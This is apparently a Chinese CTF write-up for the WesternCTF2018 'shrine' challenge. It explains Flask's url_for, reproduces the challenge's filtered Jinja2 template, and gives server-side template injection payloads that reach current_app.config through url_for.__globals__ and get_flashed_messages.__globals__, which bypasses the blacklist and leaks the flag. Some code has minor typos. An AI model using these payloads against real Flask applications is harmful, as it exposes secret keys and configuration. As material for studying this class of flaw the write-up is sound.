SSTI 模板注入url_for和get_flashed_messages之[WesternCTF2018]shrine

知识点:

url_for和get_flashed_messages

global 设置全局变量,使内部变量值可以被操作

__globals__(这个函数的结果只表示可读的量)使用方法是 fun._globals_[ ],具体参考【Python】关于python里的global、__globals__、全局变量与多进程的一点理解_小灰狼码代码ing的博客-CSDN博客___globals__

3.3 url_for()的使用:

3.3.1 简介视图函数:

我们在访问一个网址的时候在调用flask项目的时候需要调用的是一段具体的代码,也就是一个python类或者python函数,在这里这个python类我们称之为视图类,python函数我们称之为视图函数。

3.3.2 url_for()的作用:

如果我们在视图函数中想使用一个url,比如给前端返回,或者我们在这个视图函数中返回一个模板文件都会使用到url,url相当于一把钥匙可以开启一些资源。如果你修改了注册路由编写的url规则,相当于修改了钥匙。那么其他的视图函数依旧是使用了原来的钥匙就无效了,如果项目是一个大项目,你一点点手动的去改涉及到的的url就不合理了。url_for()就是用来解决这个问题的。

3.3.3 url_for()的原理:

利用视图函数名字一般不会改变的特性,利用视图函数的名字去动态精准的获取url,以便于开发使用。

url_for('视图函数名字')   # 输出该视图函数url

 

from flask import Flask, url_for

app = Flask(__name__)
app.config.update(DEBUG=True)


@app.route('/')
def demo1():
    print(url_for("book"))  # 注意这个引用的是视图函数的名字 字符串格式
    print(type(url_for("book")))

    return url_for("book")


@app.route('/book_list/')
def book():
    return 'flask_book'


if __name__ == "__main__":
    app.run()

执行结果;

他会返回他的地址;

 以上内容来自02_详解Flask中的URL ——url_for() 与 自定义动态路由过滤器_Abernorland的博客-CSDN博客_url_for

 题目代码:
 

import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')

@app.route('/')
def index():
    return open(__file__).read()

@app.route('/shrine/')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) 
        + s

    return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':
    app.run(debug=True)

app.config['FLAG'] = os.environ.pop('FLAG')

注册了一个名为FLAG的config

如果没有过滤可以直接{{config}}即可查看所有app.config内容,而flag可能就藏在里面,但是这题设了黑名单[‘config’,‘self’]并且过滤了括号

return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s  把他的内容置换为空;

所以用{{config}} 显示空

就可以使用url_for ;

url_for._globals_

SSTI 模板注入url_for和get_flashed_messages之[WesternCTF2018]shrine_第1张图片

 

看到爆出 ‘current_app’

继续爆config 

url_for._globals_[‘current_app’].config

SSTI 模板注入url_for和get_flashed_messages之[WesternCTF2018]shrine_第2张图片

 

get_flashed_message()

-假设在a页面操作出错,跳转到b页面,在b页面显示a页面的错误信息

同样的操作:

/shrine/{{get_flashed_messages.__globals__['current_app'].config}}
 

你可能感兴趣的:(CTF知识点,flask,python,后端)